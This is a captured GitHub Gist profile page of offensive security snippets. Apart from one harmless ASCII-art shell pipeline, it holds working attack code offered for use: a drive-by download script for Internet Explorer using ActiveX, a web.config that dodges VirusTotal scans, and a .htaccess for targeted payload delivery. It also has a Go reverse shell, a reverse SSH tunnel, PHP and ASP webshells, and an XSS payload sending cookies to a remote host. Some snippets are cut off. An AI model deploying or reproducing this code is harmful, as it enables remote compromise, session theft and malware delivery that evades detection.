Skip to content

Instantly share code, notes, and snippets.

View ahhh's full-sized avatar
👾
danger code

Dan Borges ahhh

👾
danger code
777 followers · 788 following
View GitHub Profile
@ahhh
ahhh / @@.sh
Last active February 9, 2017 15:02 — forked from vitapluvia/@@.sh
This ascii flow art is called "Brick Wall", My first major change to the flow art series.
cat /dev/urandom | xxd -b | cut -c 10-60 | sed 's/\(.*\)/\1\1/g' | sed 's/ //g' | sed 's/1/_/g' | sed 's/0/]/g' | sed 's/]]/[/g' | cut -c 10-60 | sed '/_/ s/$/]/' | sed '/_/ s/^/[/'
@ahhh
ahhh / exec_mal.js
Created February 17, 2015 10:46
Drive-by Download: Javascript, ActiveX, and WScript for Automatic Execution in IE on Windows
<script type="text/javascript">
function dl(fr, fn, rn) {
var ws = new ActiveXObject("WScript.Shell");
var fn = ws.ExpandEnvironmentStrings("%TEMP%") + "\\" + String.fromCharCode(92) + fn;
var xo = new ActiveXObject("MSXML2.XMLHTTP");
xo.onreadystatechange = function() {
if (xo.readyState === 4) {
var xa = new ActiveXObject("ADODB.Stream");
xa.open();
xa.type = 1;
@ahhh
ahhh / katamari.js
Last active August 29, 2015 14:15
Katamari
<script type="text/javascript">
var i,s,ss=['http://kathack.com/js/kh.js','http://ajax.googleapis.com/ajax/libs/jquery/1.5.1/jquery.min.js'];
for(i=0;i!=ss.length;i++)
{
s=document.createElement('script');
s.src=ss[i];
document.body.appendChild(s);
}
void(0);
</script>
@ahhh
ahhh / web.config
Last active August 29, 2015 14:16
web.config for tricking VT total to give legitimate URL scan results
<?xml version="1.0"?>
<configuration>
<system.webServer>
<security>
<requestFiltering>
<filteringRules>
<!-- Rule for tricking VirusTotal URL scans -->
<filteringRule name="user agent deny" scanUrl="false" scanQueryString="false">
<scanHeaders>
<!-- apply rule to user-agent header -->
@ahhh
ahhh / .htaccess
Last active August 29, 2015 14:16
.htaccess file for targeted payload delivery
# targeted payload htaccess
# no dir listing
IndexIgnore *
SetEnvIfNoCase User-Agent ".*Mozilla.*Mac.*" TARGET_UAS
# default deny everything, then allow exceptions
order Deny,Allow
deny from all
@ahhh
ahhh / reverse_shell.go
Created March 16, 2015 03:51
Basic reverse shell in go lang
package main;
import "os/exec";
import "net";
func main() {
con,_:=net.Dial("tcp","127.0.0.1:23");
cmd:=exec.Command("/bin/sh");
cmd.Stdin=con;
cmd.Stdout=con;
cmd.Stderr=con;
cmd.Run();
@ahhh
ahhh / rev_ssh.sh
Last active August 29, 2015 14:17
Reverse ssh shell
# reverse connect client
ssh -R 1337:localhost:22 [email protected]
# control server
ssh -p 1337 remoteuser@localhost
@ahhh
ahhh / cmd.php
Last active August 29, 2015 14:17
PHP webshell
<?php eval($_GET["cmd"]); ?>
@ahhh
ahhh / cmd.asp
Last active November 20, 2017 05:23
ASP webshell
<%
szCMD = request("cmd")
Server.CreateObject("WSCRIPT.SHELL").Run("cmd.exe /c " & szCMD & " > " & szTempFile, 0, True)
Set oFile = Server.CreateObject("Scripting.FileSystemObject").OpenTextFile (szTempFile, 1, False, 0)
Response.Write Server.HTMLEncode(oFile.ReadAll)
oFile.Close
Call Server.CreateObject("Scripting.FileSystemObject").DeleteFile(szTempFile, True)
%>
@ahhh
ahhh / xss.js
Last active January 8, 2025 16:26
xss send cookie to remote site
<script type="text/javascript">
document.write("<iframe src='http://remotehost/whatever.ok?cookie="+document.cookie+"'></iframe>");
</script>